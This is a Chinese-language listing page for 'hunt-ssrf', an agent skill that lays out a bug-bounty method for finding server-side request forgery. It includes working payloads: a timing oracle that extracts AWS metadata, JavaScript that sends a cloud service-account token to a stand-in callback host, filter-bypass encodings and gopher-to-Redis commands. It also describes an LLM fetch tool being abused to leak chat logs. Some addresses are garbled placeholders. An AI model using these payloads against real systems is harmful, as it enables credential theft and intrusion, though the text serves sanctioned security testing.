mcpField
H
hunt-ssrf

hunt-ssrf

github.com/uphiago安全1.3k43 次安装8 周前更新
代码仓库

关于 hunt-ssrf

hunt-ssrf 是供 Web 安全测试人员搜寻服务器端请求伪造的技能,针对 URL 抓取、导入、预览和 Webhook 等入口。它要求先通过带外 DNS 或 HTTP 回连证明服务器发起了请求,再测试内部目标。

主要功能

  1. 01梳理接受 URL 的功能入口
  2. 02先用带外回连确认服务器请求
  3. 03测试云元数据和内部服务
  4. 04检查重定向及无头浏览器场景
  5. 05提供源码检索与证据记录方法

适用场景

  1. 01测试链接预览和远程文件导入
  2. 02检查 Webhook 注册端点
  3. 03验证云主机元数据访问风险
  4. 04评估 PDF 生成器对内部网络的访问

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-ssrf

安装后在 Claude Code 中输入/hunt-ssrf确认已加载。

详细介绍

适用场景

当目标具有获取 URL、从远程来源导入数据、生成预览/截图、处理 Webhook 或渲染文档等功能时使用。SSRF 会让攻击者诱使服务器自行发起网络请求,访问内部服务、云元数据端点以及其他无法直接访问的基础设施。每个链接预览、文件导入、图片代理、Webhook 注册、PDF 生成和重定向跟随端点都可能成为目标。最有价值的目标:云托管 SaaS、Kubernetes/编排平台、CI/CD 系统以及获取 URL 的功能。

核心目标

当目标运行在云基础设施(AWS、GCP、Azure)上,且元数据服务会暴露凭据;或者服务器位于复杂的内部网络(Kubernetes 集群、微服务网格、内部 API)中时,SSRF 的价值最高。优先目标:

  • 云托管 SaaS 产品(GCP 元数据 [REDACTED_IP] 或 metadata.google.internal、AWS IMDSv1)
  • Kubernetes/编排平台——聚合 API 服务器、metrics-server、kubelet 端点会暴露特权集群操作
  • 内部开发者工具——CI/CD、工作流编排(Flyte、Argo)、未对外开放的管理面板
  • 链接预览 / URL 获取功能——类似 Reddit 的预览 API、类似 Slack 的链接展开、媒体处理器
  • 数据集/文件导入管道——任何代表用户获取远程 URL 的功能
  • 企业级自托管软件(GitHub Enterprise、GitLab)——SSRF 经常通过内部服务进一步利用为 RCE

当 SSRF 可触及以下目标时,奖励最高:云凭据 → 账户接管、内部管理 API → 数据窃取,或进一步利用为 RCE。


OOB 确认门槛(请先阅读)

声称存在盲 SSRF,必须通过带外(OOB)方式确认。始终如此,绝无例外。

OOB 指:Burp Collaborator 域名、interactsh-client 监听器、canarytoken,或任何由你控制、能确认服务器确实代表你发起了出站网络连接的 DNS+HTTP 接收器。

以下情况不算 SSRF 确认
  • 服务器在错误消息中回显你的 URL。例如:"The Web application at http://evil.example.com/x could not be found"——这只是服务器将你的输入格式化为错误字符串,并不代表它发起了出站 HTTP 请求。错误来自字符串格式化,而非网络故障。
  • 对外部 URL 和 localhost 返回不同的状态码。不同的错误响应可能来自 URL 方案验证器,而非实际获取 URL。
  • 发送 URL 后响应有所延迟。延迟可能源于解析器尝试进行 DNS 解析,而非已完成的 HTTP 获取。
以下情况算 SSRF 确认
  • OOB 监听器中出现了对你独有的 Collaborator 子域名的 DNS 查询。
  • 你的 Collaborator HTTP 端点收到 HTTP 请求,其中包含服务器的源 IP 和 User-Agent。
  • 在 JavaScript 执行上下文(PDF 渲染器、无头浏览器)中发现 SSRF 时,服务器向你的回调 URL 发起了 fetch。
默认工作流
  1. 先植入 Collaborator 子域名(根据接收点添加子标签:dlsrcurl.<collab>、import.<collab> 等,这样回调就能告诉你是哪个接收点触发的)。
  2. 向目标端点发送请求。
  3. 等待 30–120 秒,然后轮询 OOB 监听器。
  4. 只有确认收到回调后,才能声称存在 SSRF。
  5. 如果所有带子标签的接收点都没有回调:必须撤回 SSRF 声称,即使错误消息中回显了 URL 也不例外。

一次经授权的测试所得到的教训: SharePoint 的 /_layouts/15/download.aspx?SourceUrl= 返回了 500 错误,标题为 "The Web application at <attacker-URL> could not be found"。初步扫描将其标记为 SSRF(服务器显然处理了该 URL)。在 12 个以上接受 URL 的参数中发送了 38 个带 Collaborator 标签的有效载荷,却没有产生任何 DNS 或 HTTP 交互。这种“回显”只是客户端格式化错误字符串;服务器从未发出出站 HTTP 请求。该路径实际上是 SharePoint 内部的 SPFile/SPWebApplication 解析器,并非通用 URL 抓取器。在分流审核时,将其报告为 SSRF 会被判定为不适用。


攻击面信号

值得排查的 URL 模式
/api/*/preview
/api/*/fetch
/api/*/import
/api/*/webhook
/api/*/proxy
/api/*/render
/api/*/link
/api/*/screenshot
/api/*/export
/api/*/validate
?url=
?uri=
?endpoint=
?redirect=
?src=
?source=
?feed=
?host=
?target=
?dest=
?file=
?path=
?callback=
?image=
?load=
?fetch=
JS 模式(客户端代码中)
// Look for these in JS bundles
fetch(userInput)
axios.get(params.url)
XMLHttpRequest + variable URL
url: req.body.url
src: params.source
href: query.endpoint
响应头信号
X-Forwarded-For headers echoed back
Server: internal-service
Via: 1.1 internal-proxy
X-Cache headers revealing internal hostnames
技术栈信号
  • Kubernetes — 任何面向公网的聚合 API、指标端点
  • GCP — 任何运行在 Compute Engine/GKE 上并抓取 URL 的服务
  • Node.js/Python 搭配 URL 抓取库(requests、node-fetch、axios)
  • 无头浏览器(Puppeteer、PhantomJS)用于截图/PDF——价值极高
  • XML/DSPL/CSV 导入功能 — 类似 XXE 的 SSRF 向量
  • OAuth/webhook 注册端点

分步狩猎方法

  1. 梳理目标中的所有 URL 输入参数:检查 JS 文件中的 fetch 调用,查看所有 API 文档,并查找文件导入、链接预览、webhook、图片代理和重定向功能。

  2. 设置带外检测服务器:使用 Burp Collaborator、interactsh 或 https://canarytokens.org——每次测试都需要一个唯一的 DNS/HTTP 回调域名。

  3. 先将回调 URL 作为参数值发送(首先检查盲 SSRF):

    url=https://YOUR.interactsh.com/test
    

    确认服务器发起了出站连接。这能证明请求已执行,然后再尝试访问内部目标。

  4. 测试内部云元数据端点:

    • GCP:http://metadata.google.internal/computeMetadata/v1/
    • AWS:http://[REDACTED_IP]/latest/meta-data/
    • Azure:http://[REDACTED_IP]/metadata/instance
  5. 测试 localhost 和常见内部端口:

    http://localhost/
    http://127.0.0.1:8080/
    http://127.0.0.1:6443/  (Kubernetes API)
    http://127.0.0.1:2379/  (etcd)
    http://127.0.0.1:9090/  (Prometheus)
    http://127.0.0.1:9200/  (Elasticsearch)
    
  6. 检查基于重定向的 SSRF——如果端点验证初始 URL,但会跟随 30x 重定向,则搭建一个指向内部地址的重定向服务器。Kubernetes 报告(报告 3)就是由被劫持的 API 服务器返回 30x 响应触发的。

6b. 时间预言机——从 IMDS 盲提取数据——当确认存在 SSRF,但不会返回响应内容时(例如,WordPress pingback.ping 的 faultCode 为 0),利用时间差枚举 AWS IAM 角色,并逐字符提取 IMDS 元数据:

import subprocess, time

def ssrf_time(url):
    xml = f'''<?xml version="1.0"?><methodCall><methodName>pingback.ping</methodName>
<params><param><value><string>{url}</string></value></param>
<param><value><string>https://target.com/</string></value></param>
</params></methodCall>'''
    start = time.perf_counter()
    subprocess.run(["curl", "-sk", "-X", "POST",
        "https://target.com/xmlrpc.php",
        "-H", "Content-Type: text/xml", "-d", xml],
        capture_output=True, timeout=15)
    return time.perf_counter() - start

# IMDS response size correlates with timing
baseline = ssrf_time("http://[REDACTED_IP]/latest/meta-data/")
# Role exists = JSON payload (slower), 404 = tiny response (faster)
for role in ["admin","ec2","s3","lambda","ecs","SSM-Role","EC2Role"]:
    t = ssrf_time(f"http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/{role}")
    print(f"  {role}: {t:.3f}s -> {'FOUND' if t > baseline*1.15 else '404'}")

**现场证据(retail.example.com,2026 年 6 月):**IMDS /meta-data/ = 344ms,/iam/security-credentials/ = 435ms,/instance-id = 301ms。响应时间随响应大小成比例变化,因此可以盲提取 IAM 角色和元数据内容。

**注意事项:**网络抖动会导致 ±50ms 的偏差。每项测试运行 3 次,并取中位数。如果基线方差超过 20%,则跳过。

  1. 测试 JavaScript 执行环境(无头浏览器、PDF 渲染器):

    • 注入 <script> 标签,使其通过 XMLHttpRequest 或 fetch() 调用内部服务
    • 通过 DNS 外传数据:将响应数据编码到回调域名的子域名中
  2. 利用时间差和错误消息变化枚举内部网络:

    • 通过响应时间扫描端口(connection refused 与超时)
    • 检查错误消息是否泄露主机名/IP
  3. 串联发现——如果 SSRF 可访问内部服务,请查找:

    • 未经身份验证的管理端点
    • Redis、memcached(协议混淆)
    • 内部 OAuth 令牌端点
    • SSRF → CSRF → RCE(GitHub Enterprise 模式)
  4. 记录完整攻击链:报告前为每一步截图。


载荷与检测模式

基本带外检测
# Using interactsh-client
interactsh-client -v

# Test parameter
curl --max-time 30 --connect-timeout 10 -s "https://target.com/api/preview?url=https://YOUR_ID.oast.pro"

# With common headers that might unlock SSRF
curl --max-time 30 --connect-timeout 10 -s "https://target.com/api/fetch" \
  -H "Content-Type: application/json" \
  -d '{"url":"https://YOUR_ID.oast.pro"}'
云元数据载荷
# GCP - requires Metadata-Flavor header (test if server adds it automatically)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://[REDACTED_IP]/computeMetadata/v1/project/project-id

# AWS IMDSv1 (no auth required)
http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/
http://[REDACTED_IP]/latest/user-data

# Azure
http://[REDACTED_IP]/metadata/instance?api-version=2021-02-01
Localhost/内部端口载荷
# Kubernetes internals
http://127.0.0.1:6443/api/v1/namespaces
http://10.0.0.1:6443/api/v1/secrets
http://127.0.0.1:10250/pods          # kubelet
http://127.0.0.1:2379/v2/keys        # etcd

# Common internal services
http://127.0.0.1:6379/               # Redis (check for inline commands)
http://127.0.0.1:9200/_cat/indices   # Elasticsearch
http://127.0.0.1:5601/               # Kibana
http://127.0.0.1:8500/v1/catalog/services  # Consul
基于重定向的 SSRF(直接访问被阻止时)
# Simple Python redirect server
from http.server import HTTPServer, BaseHTTPRequestHandler

class Redirect(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(301)
        self.send_header('Location', 'http://[REDACTED_IP]/latest/meta-data/')
        self.end_headers()

HTTPServer(('192.0.2.1', 8080), Redirect).serve_forever()
基于 JavaScript 的 SSRF(无头浏览器环境)
// Exfil via fetch
fetch('http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token', {
  headers: {'Metadata-Flavor': 'Google'}
}).then(r=>r.text()).then(d=>{
  fetch('https://YOUR.callback.com/?d='+btoa(d))
})

// DNS exfil for blind contexts
var x = new XMLHttpRequest();
x.open('GET','http://[REDACTED_IP]/latest/meta-data/');
x.send();
x.onload = function(){
  var img = new Image();
  img.src = 'https://'+btoa(x.responseText.substring(0,50))+'.YOUR.callback.com';
}
源代码审查的 Grep 模式
# Find URL fetch operations
grep -rE "(fetch|curl|urllib|requests\.get|http\.get|axios\.get)\s*\(" --include="*.py" --include="*.js" --include="*.go"

# Find URL parameters being passed to HTTP clients
grep -rE "(url|uri|endpoint|redirect|src|source)\s*=\s*req\.(query|body|params)" --include="*.js"

# Find redirect following
grep -rE "(follow_redirects|allow_redirects|followRedirects)\s*=\s*[Tt]rue"
ffuf 参数发现
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -u "https://target.com/api/endpoint?FUZZ=https://YOUR.callback.com" \
  -fs 0 -mc all

常见根本原因

  1. “用户说这是安全的” — 开发者信任用户提供的 URL,并用其获取远程资源(链接预览、缩略图、Webhook),却不验证目标地址。该功能本身合理;缺少验证才是漏洞。

  2. 通过重定向绕过允许列表 — 开发者会根据允许列表验证初始 URL,却将 HTTP 客户端配置为自动跟随重定向。攻击者在允许列表中的服务器会将请求重定向到内部地址。

  3. 信任聚合/代理 API — 类似 Kubernetes 的架构中,API 聚合层会盲目代理已注册扩展服务器返回的 30x 响应。攻陷单个扩展服务器即可对核心 API 发起 SSRF。

  4. 未进行沙箱隔离的服务端渲染 — 无头浏览器功能(PDF 生成、链接预览截图)会在具有网络特权的环境中执行攻击者控制的 JavaScript,并可访问元数据服务。

  5. XML/DSPL/文件解析器获取外部实体 — 解析结构化文件(XML、DSPL、带远程架构的 CSV)的导入功能会获取攻击者控制的 URL,且通常完全不验证 URL。

  6. 通过响应差异泄露内部主机名 — 对于内部主机和外部主机,服务会返回不同的错误消息、响应时间或响应大小。即使不返回内容,攻击者也能借此进行盲枚举。

  7. 仍启用 IMDSv1 — 尚未迁移到 IMDSv2(AWS)或未要求提供 Metadata-Flavor 标头(GCP)的云部署,允许任何 SSRF 未经身份验证即可访问凭证。


绕过技术

绕过阻止列表(阻止 localhost、127.0.0.1、169.254.x.x 时)
# IPv6 equivalents
http://[::1]/
http://[::ffff:127.0.0.1]/
http://[::ffff:[REDACTED_IP]]/

# Decimal/octal/hex encoding of IP
http://2130706433/          (127.0.0.1 decimal)
http://0x7f000001/          (127.0.0.1 hex)
http://0177.0.0.1/          (octal)
http://127.1/               (short form)
http://0/                   (resolves to 192.0.2.1)

# DNS rebinding - register a domain that resolves to internal IP after first check
# Use https://lock.cmpxchg8b.com/rebinder.html

# Subdomain pointing to internal IP
http://localtest.me/         (resolves to 127.0.0.1)
http://127.0.0.1.nip.io/
http://customer.attacker.com/ (A record → 192.168.1.1)

# URL parser confusion
http://[email protected]/
http://127.0.0.1#evil.com
http://127.0.0.1%[email protected]  (URL encoding)
http://evil.com\.127.0.0.1/   (backslash)

# Protocol confusion
file:///etc/passwd
dict://127.0.0.1:6379/
gopher://127.0.0.1:6379/_FLUSHALL  (Redis via gopher)
sftp://attacker.com:11111/
ldap://127.0.0.1/

# Redirect chain bypass
https://allowlisted-domain.com → HTTP 301 → http://[REDACTED_IP]/

# Case variation / URL encoding
http://Localhost/
http://127.0.0.1%[email protected]/
绕过架构/协议限制
# When only http/https allowed but implementation is loose
http://[REDACTED_IP]:[email protected]/
//[REDACTED_IP]/
TOCTOU(检查时与使用时)
  • 验证 URL → 等待 → 重定向到内部地址(与 DNS 重绑定形成竞态条件)
  • 注册 TTL 为 0 的域名,在验证与获取请求之间轮换 DNS
不返回响应时(盲 SSRF)
  • 使用仅 DNS 回调(将数据编码在子域标签中)
  • 利用时间差异扫描端口
  • 使用不同的 HTTP 方法(PUT/DELETE),在内部服务上触发不同的行为
  • 与其他可泄露响应数据的漏洞串联(例如错误消息、日志)

Gate 0 验证

提交报告前,请确认以下三点:

  1. 攻击者现在能做什么?

    • 能否获取证明可访问内部网络的响应?(展示元数据令牌、内部 API 响应或已确认的 DNS 回调)
    • 如果是盲 SSRF:能否证明端口差异,或证明与特定内部地址相关联的带外回调?
    • 仅仅说“服务器发起了请求”并不足够——请展示请求发往哪里以及返回了什么。
  2. 受害者会失去什么?

    • 云凭证(IAM 令牌)→ 完全攻陷云账户?
    • 内部服务数据(用户个人身份信息、机密、API 密钥)?
    • 能否通过内部管理服务进一步获取 RCE?
    • 如果答案仅为“服务器获取了我的 URL”,则严重性较低——请量化实际可触达的影响范围。
  3. 能否从头开始在 10 分钟内复现?

    • 易受攻击的端点是否仍然可用,相关参数是否仍然存在?
    • 回调服务器是否能稳定显示请求(而非间歇性显示)?
    • 第二个人能否在没有背景知识的情况下按照你的步骤操作,并得到相同结果?
    • 如果复现需要特定时机、令牌或运气,请在提交前排除不稳定因素。

真实影响示例

场景 A:通过链接预览窃取云凭据(Snapchat/GCP 模式)

一个面向公众的“链接预览”API 接受 url 参数,并在服务器端获取目标内容以生成缩略图。该功能运行在启用了 IMDSv1 的 GCP Compute Engine 上,且服务器端未强制要求 Metadata-Flavor 标头。攻击者提供 url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token,便获得了该实例服务账号的有效 OAuth2 访问令牌。该令牌可访问内部 GCP 项目资源,包括存有用户数据的存储桶。攻击者在无头渲染环境中执行 JavaScript,通过以 DNS 编码的子域名窃取令牌,绕过了响应正文限制。

场景 B:通过被劫持的聚合服务器攻陷 Kubernetes API(Kubernetes 模式)

一名能够注册 Kubernetes API 扩展服务器(相当于 metrics-server)的攻击者,向聚合层返回 302 Location: http://127.0.0.1:6443/api/v1/secrets 响应。由于聚合代理会自动跟随重定向,且不会根据内部网络拒绝列表重新验证目标地址,该重定向导致聚合层本身(以较高权限的集群凭据运行)获取内部 Kubernetes API 密钥,并在响应中返回这些内容。这实际上使仅拥有有限 API 注册权限的攻击者能够升级为完整的集群密钥读取权限——这是通过受信任的基础设施组件串联 SSRF 实现的严重权限提升。


已披露报告引用(补充 +6 — 2018-2024)

以下真实且经核实的漏洞赏金 / 协调披露案例进一步扩展了此技能。其中涵盖了三家云服务提供商的云元数据 SSRF、DNS 重绑定、gopher-to-Redis-RCE、链接预览 SSRF,以及无头浏览器 / PDF 生成器攻击链。

  1. HackerOne — Analytics Reports 中的 SSRF(PDF 生成器 → AWS 元数据)(H1 #2262382 · Writeup)

    • 子类型:无头浏览器 SSRF(PDF 生成器)→ AWS 元数据 SSRF(IMDSv1)
    • 载荷:将 <iframe src="http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/"> 注入模板元素;后端 Ruby 循环在服务器端将不可信模板 HTML 渲染为 PDF,并将 IMDS 响应反映在生成的 PDF / 错误消息中
    • 根本原因:未经净化的用户可控模板片段被反映到 PDF 渲染流程中;未强制使用 IMDSv2
    • 年份:2023 — $25,000(CVSS 10.0 严重)
  2. Shopify Exchange — 截图服务中的 SSRF → GCP 元数据 → 容器 root 权限(H1 #341876)

    • 子类型:GCP 元数据 SSRF → SSRF-to-RCE 攻击链
    • 载荷:在 partners.shopify.com 上创建商店,编辑 password.liquid 模板以嵌入对 http://metadata.google.internal/computeMetadata/v1/ 的请求,并附带 Metadata-Flavor: Google,然后触发 Exchange 截图服务在服务器端渲染该模板
    • 根本原因:截图服务获取用户可控模板时,既未屏蔽元数据主机,也未使用元数据隐藏代理
    • 年份:2018 — $25,000(典型的无头浏览器 → 元数据攻击链)
  3. Concrete CMS — 通过 DNS 重绑定绕过 SSRF 缓解措施 → AWS IAM 密钥(H1 #1369312)

    • 子类型:DNS 重绑定 SSRF → AWS 元数据 SSRF(IMDSv1)
    • 载荷:从 URL 上传文件功能;攻击者的 DNS 服务器在 [REDACTED_IP](公网)和 [REDACTED_IP] 之间交替返回 A 记录;需发送 2-3 次请求才能在验证与获取之间的竞速中胜出;最终请求获取了 IAM 角色凭据
    • 根本原因:仅通过解析一次来验证主机名;下载路径重新解析 DNS,却未固定已验证的 IP
    • 年份:2021 — 已在 8.5.7 / 9.0.1 中修复
  4. Yahoo Mail — Blind SSRF → Gopher → Redis RCE (Writeup)

    • 子类:Gopher 协议滥用 → Redis SSRF → SSRF-to-RCE 链
    • Payload:Yahoo Mail 后端中的 Blind SSRF,通过 gopher://internal-redis:6379/_*1%0d%0a$8%0d%0aflushall...SET stuff /var/spool/cron/root...BGSAVE 触达——通过 Redis 写入 cron 任务以执行命令
    • 根本原因:未将 gopher scheme 列入阻止列表;内部 Redis 在默认端口上未启用身份验证;SSRF 目标接受从攻击者主机重定向到 gopher:// 的 302 响应
    • 年份:2020 — $15,000
  5. Reddit Matrix — preview_url API 中的 Blind SSRF (H1 #1960765)

    • 子类:链接预览 SSRF(Blind,通过时序/响应码进行内部端口扫描)
    • Payload:GET https://matrix.redditspace.com/_matrix/media/r0/preview_url/?url=http://10.0.0.0:80/ — 遍历不同的内部 IP/端口;修复前,服务名称和 IP 会通过不同的响应泄露
    • 根本原因:链接预览抓取器未拒绝 RFC1918/链路本地目标;仅按 scheme 设置允许列表
    • 年份:2023 — $6,000
  6. Azure DevOps — Service Hooks 中的 SSRF + endpointproxy 中的 DNS rebinding 绕过 (Binary Security writeup)

    • 子类:Webhook URL 字段 SSRF + DNS rebinding SSRF → Azure IMDS/托管身份
    • Payload:将服务钩子 Webhook URL 或 endpointproxy URL 参数设为攻击者的 rebinding 主机;第二次解析返回 [REDACTED_IP];再串联 CRLF 注入,设置 Azure IMDS 所需的 Metadata: true 请求头
    • 根本原因:先验证再抓取时使用了独立的 DNS 查询;URL 路径中的 CRLF 注入了 Azure IMDS 所需的请求头
    • 年份:2023-2024 — 3 份报告合计 $15,000

验证

运行此自检,确认已准备好进行 SSRF 漏洞搜寻:

  1. 技能完整性 — 确认技能文件可读且格式正确:

    grep -q "name: hunt-ssrf" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. 类别检查 — 确认技能具有类别:

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. 陷阱部分 — 确认已记录常见陷阱:

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

所有 3 项测试都会验证技能结构正确且可供使用。


常见陷阱

  • 仅有 DNS 回连的 SSRF — 来自目标服务器的 DNS pingback 可以证明存在 SSRF,但无法证明其影响。需要 HTTP 响应数据、云元数据访问或内部服务交互。
  • 未经确认的 Blind SSRF — 发送请求但不读取响应属于 Blind SSRF。通过 Collaborator/OOB 回调进行验证。
  • SSRF 指向 localhost,但没有开放端口 — 触达 127.0.0.1 可以证明存在 SSRF。还需要证明可以访问有用的服务(元数据、管理服务、数据库)。
  • URL 验证绕过 — http://[email protected] 或 http://0x7f000001 可以绕过简单的 URL 解析器。测试多种绕过技术。
  • 云元数据访问 — 192.0.2.1 是 SSRF 的终极目标。提取一份 IAM 凭证即可达到严重级别。

相关技能与攻击链

  • cloud-iam-deep — SSRF 是访问云元数据服务的典型入口。攻击链原语:SSRF → IMDSv1 令牌窃取 → cloud-iam-deep 权限提升,进而通过跨账户角色获取 iam:CreateUser / sts:AssumeRole 权限。
  • hunt-cloud-misconfig — 可通过 SSRF 出站访问原本仅限内部的存储桶/API。攻击链原语:SSRF + DNS 重绑定 → 绕过 SSRF 保护的端点 → 读取内部 /admin 或私有 S3 存储桶。
  • hunt-llm-ai — 配备 fetch_urltools 的大模型会成为 SSRF 代理,从而绕过网络出站控制。攻击链原语:大模型工具调用(fetch_url)+ SSRF → 攻击者 URL 从大模型容器中窃取聊天记录和 IMDS 令牌。
  • hunt-rce — 内部 Redis/Memcached 默认未启用身份验证,且可通过 gopher:// 访问。攻击链原语:SSRF + Gopher → 内部 Redis CONFIG SET dir + 通过写入 cron / SSH authorized_keys 实现 RCE。
  • hunt-cloud-misconfig — 可通过 SSRF 出站访问原本仅限内部的存储桶/API。攻击链原语:SSRF + DNS 重绑定 → 绕过 SSRF 保护的端点 → 读取内部 /admin 或私有 S3 存储桶。
  • security-arsenal — 测试过滤器前,加载 SSRF IP 绕过表(11 种技术:十进制 IP、IPv6 映射、八进制、后缀点、DNS 重绑定、重定向链等)。
  • triage-validation — 执行 OOB-Or-It-Didn't-Happen 门槛:每项盲 SSRF 声明都必须在提交报告前,使用唯一标记获得 Burp Collaborator 命中记录。
阶段 X — 云元数据目录
提供商元数据端点
AWS IMDSv1http://[REDACTED_IP]/latest/meta-data/
GCPhttp://metadata.google.internal/computeMetadata/v1/
Azurehttp://[REDACTED_IP]/metadata/instance?api-version=2021-02-01
DigitalOceanhttp://[REDACTED_IP]/metadata/v1.json
Alibaba Cloudhttp://[REDACTED_IP]/latest/meta-data/

通过 Gopher 协议利用 Redis/FastCGI 实现 RCE:

gopher://127.0.0.1:6379/_SET%20crack%20test%0d%0aCONFIG%20SET%20dir%20/var/www/html

评论

支持 Markdown